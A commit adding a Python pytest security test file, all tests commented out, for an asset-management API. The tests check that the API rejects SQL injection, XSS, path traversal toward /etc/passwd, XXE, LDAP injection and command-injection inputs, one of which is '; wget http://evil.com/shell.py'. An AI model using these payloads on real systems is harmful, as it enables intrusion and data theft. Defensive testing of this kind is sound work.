Fix API compatibility and add user/role/permission and asset import/export

This commit is contained in:
2026-01-25 23:36:23 +08:00
commit 501d11e14e
371 changed files with 68853 additions and 0 deletions

View File

@@ -0,0 +1,524 @@
"""
安全测试
测试内容:
- SQL注入测试
- XSS测试
- CSRF测试
- 权限绕过测试
- 敏感数据泄露测试
- 认证绕过测试
"""
import pytest
# class TestSQLInjection:
# """测试SQL注入攻击"""
#
# def test_sql_injection_in_login(self, client: TestClient):
# """测试登录接口的SQL注入"""
# malicious_inputs = [
# "admin' OR '1'='1",
# "admin'--",
# "admin'/*",
# "' OR 1=1--",
# "'; DROP TABLE users--",
# "admin' UNION SELECT * FROM users--",
# "' OR '1'='1' /*",
# "1' AND 1=1--",
# "admin'; INSERT INTO users VALUES--",
# ]
#
# for malicious_input in malicious_inputs:
# response = client.post(
# "/api/v1/auth/login",
# json={
# "username": malicious_input,
# "password": "Test123",
# "captcha": "1234",
# "captcha_key": "test"
# }
# )
#
# # 应该返回认证失败,而不是数据库错误或成功登录
# assert response.status_code in [401, 400, 422]
#
# # 如果返回成功,说明存在SQL注入漏洞
# if response.status_code == 200:
# pytest.fail(f"SQL注入漏洞检测: {malicious_input}")
#
# def test_sql_injection_in_search(self, client: TestClient, auth_headers):
# """测试搜索接口的SQL注入"""
# malicious_inputs = [
# "'; DROP TABLE assets--",
# "1' OR '1'='1",
# "'; SELECT * FROM users--",
# "admin' UNION SELECT * FROM assets--",
# ]
#
# for malicious_input in malicious_inputs:
# response = client.get(
# "/api/v1/assets",
# params={"keyword": malicious_input},
# headers=auth_headers
# )
#
# # 应该正常返回或参数错误,不应该报数据库错误
# assert response.status_code in [200, 400, 422]
#
# def test_sql_injection_in_id_parameter(self, client: TestClient, auth_headers):
# """测试ID参数的SQL注入"""
# malicious_ids = [
# "1 OR 1=1",
# "1; DROP TABLE assets--",
# "1' UNION SELECT * FROM users--",
# "1' AND 1=1--",
# ]
#
# for malicious_id in malicious_ids:
# response = client.get(
# f"/api/v1/assets/{malicious_id}",
# headers=auth_headers
# )
#
# # 应该返回404或参数错误
# assert response.status_code in [404, 400, 422]
#
# def test_sql_injection_in_order_by(self, client: TestClient, auth_headers):
# """测试排序参数的SQL注入"""
# malicious_inputs = [
# "id; DROP TABLE users--",
# "id OR 1=1",
# "id' AND '1'='1",
# ]
#
# for malicious_input in malicious_inputs:
# response = client.get(
# "/api/v1/assets",
# params={"sort_by": malicious_input},
# headers=auth_headers
# )
#
# # 应该返回参数错误
# assert response.status_code in [400, 422]
#
# def test_second_order_sql_injection(self, client: TestClient, auth_headers):
# """测试二阶SQL注入"""
# # 先创建包含恶意代码的数据
# malicious_data = {
# "asset_name": "test'; DROP TABLE assets--",
# "device_type_id": 1,
# "organization_id": 1
# }
#
# create_response = client.post(
# "/api/v1/assets",
# headers=auth_headers,
# json=malicious_data
# )
#
# # 如果创建成功,尝试查询
# if create_response.status_code == 200:
# # 查询应该不会触发SQL注入
# response = client.get(
# "/api/v1/assets",
# headers=auth_headers
# )
# assert response.status_code == 200
# class TestXSS:
# """测试XSS跨站脚本攻击"""
#
# def test_xss_in_asset_name(self, client: TestClient, auth_headers):
# """测试资产名称的XSS"""
# xss_payloads = [
# "<script>alert('XSS')</script>",
# "<img src=x onerror=alert('XSS')>",
# "<svg onload=alert('XSS')>",
# "javascript:alert('XSS')",
# "<iframe src='javascript:alert(XSS)'>",
# "<body onload=alert('XSS')>",
# ]
#
# for payload in xss_payloads:
# response = client.post(
# "/api/v1/assets",
# headers=auth_headers,
# json={
# "asset_name": payload,
# "device_type_id": 1,
# "organization_id": 1
# }
# )
#
# if response.status_code == 200:
# # 获取数据
# asset_id = response.json()["data"]["id"]
# get_response = client.get(
# f"/api/v1/assets/{asset_id}",
# headers=auth_headers
# )
#
# # 验证XSS payload被转义或过滤
# content = get_response.text
# assert "<script>" not in content
# assert "javascript:" not in content
# assert "onerror=" not in content
#
# def test_xss_in_search_parameter(self, client: TestClient, auth_headers):
# """测试搜索参数的XSS"""
# xss_payload = "<script>alert('XSS')</script>"
#
# response = client.get(
# "/api/v1/assets",
# params={"keyword": xss_payload},
# headers=auth_headers
# )
#
# # 验证XSS payload被转义
# content = response.text
# assert "<script>" not in content or "&lt;script&gt;" in content
#
# def test_xss_in_user_profile(self, client: TestClient, auth_headers):
# """测试用户资料的XSS"""
# xss_payload = "<img src=x onerror=alert('XSS')>"
#
# response = client.put(
# "/api/v1/users/me",
# headers=auth_headers,
# json={"real_name": xss_payload}
# )
#
# if response.status_code == 200:
# # 验证XSS被过滤
# get_response = client.get(
# "/api/v1/users/me",
# headers=auth_headers
# )
# content = get_response.text
# assert "onerror=" not in content
# class TestCSRF:
# """测试CSRF跨站请求伪造"""
#
# def test_csrf_protection(self, client: TestClient, auth_headers):
# """测试CSRF保护"""
# # 正常请求应该包含CSRF token
# response = client.post(
# "/api/v1/assets",
# headers=auth_headers,
# json={
# "asset_name": "Test",
# "device_type_id": 1,
# "organization_id": 1
# }
# )
#
# # 如果启用CSRF保护,缺少token应该被拒绝
# # 这里需要根据实际实现调整
#
# def test_csrf_token_validation(self, client: TestClient):
# """测试CSRF token验证"""
# # 尝试使用无效的CSRF token
# invalid_headers = {
# "X-CSRF-Token": "invalid-token-12345"
# }
#
# response = client.post(
# "/api/v1/assets",
# headers=invalid_headers,
# json={
# "asset_name": "Test",
# "device_type_id": 1,
# "organization_id": 1
# }
# )
#
# # 应该被拒绝
# assert response.status_code in [403, 401]
# class TestAuthenticationBypass:
# """测试认证绕过"""
#
# def test_missing_token(self, client: TestClient):
# """测试缺少token"""
# response = client.get("/api/v1/assets")
# assert response.status_code == 401
#
# def test_invalid_token(self, client: TestClient):
# """测试无效token"""
# headers = {"Authorization": "Bearer invalid_token_12345"}
# response = client.get("/api/v1/assets", headers=headers)
# assert response.status_code == 401
#
# def test_expired_token(self, client: TestClient):
# """测试过期token"""
# # 使用一个过期的token
# expired_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.expired.token"
# headers = {"Authorization": f"Bearer {expired_token}"}
# response = client.get("/api/v1/assets", headers=headers)
# assert response.status_code == 401
#
# def test_modified_token(self, client: TestClient):
# """测试被修改的token"""
# # 修改有效token的一部分
# modified_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.modified"
# headers = {"Authorization": f"Bearer {modified_token}"}
# response = client.get("/api/v1/assets", headers=headers)
# assert response.status_code == 401
#
# def test_token_without_bearer(self, client: TestClient):
# """测试不带Bearer前缀的token"""
# headers = {"Authorization": "valid_token_without_bearer"}
# response = client.get("/api/v1/assets", headers=headers)
# assert response.status_code == 401
#
# def test_session_fixation(self, client: TestClient):
# """测试会话固定攻击"""
# # 登录前获取session
# session1 = client.cookies.get("session")
#
# # 登录
# client.post(
# "/api/v1/auth/login",
# json={
# "username": "admin",
# "password": "Admin123",
# "captcha": "1234",
# "captcha_key": "test"
# }
# )
#
# # 验证session已更新
# session2 = client.cookies.get("session")
# assert session1 != session2 or session2 is None # 使用JWT时可能没有session
# class TestAuthorizationBypass:
# """测试权限绕过"""
#
# def test_direct_url_access_without_permission(self, client: TestClient, auth_headers):
# """测试无权限直接访问URL"""
# # 普通用户尝试访问管理员接口
# response = client.delete(
# "/api/v1/users/1",
# headers=auth_headers # 普通用户token
# )
# assert response.status_code == 403
#
# def test_horizontal_privilege_escalation(self, client: TestClient, user_headers, admin_headers):
# """测试水平权限提升"""
# # 用户A尝试访问用户B的数据
# # 创建user_headers为用户A的token
# response = client.get(
# "/api/v1/users/2", # 尝试访问用户B
# headers=user_headers
# )
# assert response.status_code == 403
#
# def test_vertical_privilege_escalation(self, client: TestClient, user_headers):
# """测试垂直权限提升"""
# # 普通用户尝试访问管理员功能
# response = client.post(
# "/api/v1/users",
# headers=user_headers,
# json={
# "username": "newuser",
# "password": "Test123"
# }
# )
# assert response.status_code == 403
#
# def test_parameter_tampering(self, client: TestClient, auth_headers):
# """测试参数篡改"""
# # 尝试通过修改ID访问其他用户数据
# response = client.get(
# "/api/v1/users/999", # 不存在的用户或其他用户
# headers=auth_headers
# )
# # 应该返回403或404,不应该返回数据
# assert response.status_code in [403, 404]
#
# def test_method_enforcement(self, client: TestClient, auth_headers):
# """测试HTTP方法强制执行"""
# # 某些接口可能只允许特定方法
# response = client.put(
# "/api/v1/assets", # 应该是POST
# headers=auth_headers,
# json={}
# )
# assert response.status_code in [405, 404] # Method Not Allowed
# class TestSensitiveDataExposure:
# """测试敏感数据泄露"""
#
# def test_password_not_in_response(self, client: TestClient, auth_headers):
# """测试响应中不包含密码"""
# response = client.get(
# "/api/v1/users/me",
# headers=auth_headers
# )
#
# content = response.text
# assert "password" not in content.lower()
# assert "hashed_password" not in content
#
# def test_token_not_logged(self, client: TestClient):
# """测试token不被记录到日志"""
# # 这个测试需要检查日志文件或日志系统
# pass
#
# def test_error_messages_no_sensitive_info(self, client: TestClient):
# """测试错误消息不包含敏感信息"""
# response = client.post(
# "/api/v1/auth/login",
# json={
# "username": "nonexistent",
# "password": "wrong",
# "captcha": "1234",
# "captcha_key": "test"
# }
# )
#
# error_msg = response.text.lower()
# # 错误消息不应该暴露数据库信息
# assert "mysql" not in error_msg
# assert "postgresql" not in error_msg
# assert "table" not in error_msg
# assert "column" not in error_msg
# assert "syntax" not in error_msg
#
# def test_stack_trace_not_exposed(self, client: TestClient):
# """测试不暴露堆栈跟踪"""
# response = client.get("/api/v1/invalid-endpoint")
#
# # 生产环境不应该返回堆栈跟踪
# content = response.text
# assert "Traceback" not in content
# assert "Exception" not in content
# assert "at line" not in content
#
# def test_https_required(self, client: TestClient):
# """测试HTTPS要求"""
# # 这个测试在生产环境才有效
# pass
# class TestInputValidation:
# """测试输入验证"""
#
# def test_path_traversal(self, client: TestClient, auth_headers):
# """测试路径遍历攻击"""
# malicious_inputs = [
# "../../../etc/passwd",
# "..\\..\\..\\windows\\system32\\config\\sam",
# "....//....//....//etc/passwd",
# "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
# ]
#
# for malicious_input in malicious_inputs:
# response = client.get(
# f"/api/v1/assets/{malicious_input}",
# headers=auth_headers
# )
# assert response.status_code in [404, 400, 422]
#
# def test_command_injection(self, client: TestClient, auth_headers):
# """测试命令注入"""
# malicious_inputs = [
# "; ls -la",
# "| cat /etc/passwd",
# "`whoami`",
# "$(id)",
# "; wget http://evil.com/shell.py",
# ]
#
# for malicious_input in malicious_inputs:
# response = client.post(
# "/api/v1/assets",
# headers=auth_headers,
# json={
# "asset_name": malicious_input,
# "device_type_id": 1,
# "organization_id": 1
# }
# )
# # 应该被拒绝或过滤
# assert response.status_code in [400, 422]
#
# def test_ldap_injection(self, client: TestClient, auth_headers):
# """测试LDAP注入"""
# # 如果系统使用LDAP认证
# malicious_inputs = [
# "*)(uid=*",
# "*)(|(objectClass=*",
# "*))%00",
# ]
#
# for malicious_input in malicious_inputs:
# response = client.post(
# "/api/v1/auth/login",
# json={
# "username": malicious_input,
# "password": "Test123",
# "captcha": "1234",
# "captcha_key": "test"
# }
# )
# assert response.status_code in [401, 400]
#
# def test_xml_injection(self, client: TestClient, auth_headers):
# """测试XML注入"""
# xml_payload = """<?xml version="1.0"?>
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# <asset><name>&xxe;</name></asset>"""
#
# response = client.post(
# "/api/v1/assets",
# headers=auth_headers,
# data=xml_payload,
# content_type="application/xml"
# )
#
# # 应该被拒绝或返回错误
# assert response.status_code in [400, 415] # Unsupported Media Type
# class TestRateLimiting:
# """测试请求频率限制"""
#
# def test_login_rate_limit(self, client: TestClient):
# """测试登录频率限制"""
# # 连续多次登录尝试
# responses = []
# for i in range(15):
# response = client.post(
# "/api/v1/auth/login",
# json={
# "username": "test",
# "password": "wrong",
# "captcha": "1234",
# "captcha_key": f"test-{i}"
# }
# )
# responses.append(response)
#
# # 应该有部分请求被限流
# rate_limited = sum(1 for r in responses if r.status_code == 429)
# assert rate_limited > 0
#
# def test_api_rate_limit(self, client: TestClient, auth_headers):
# """测试API频率限制"""
# # 连续请求
# responses = []
# for i in range(150): # 超过100次/分钟限制
# response = client.get("/api/v1/assets", headers=auth_headers)
# responses.append(response)
#
# rate_limited = sum(1 for r in responses if r.status_code == 429)
# assert rate_limited > 0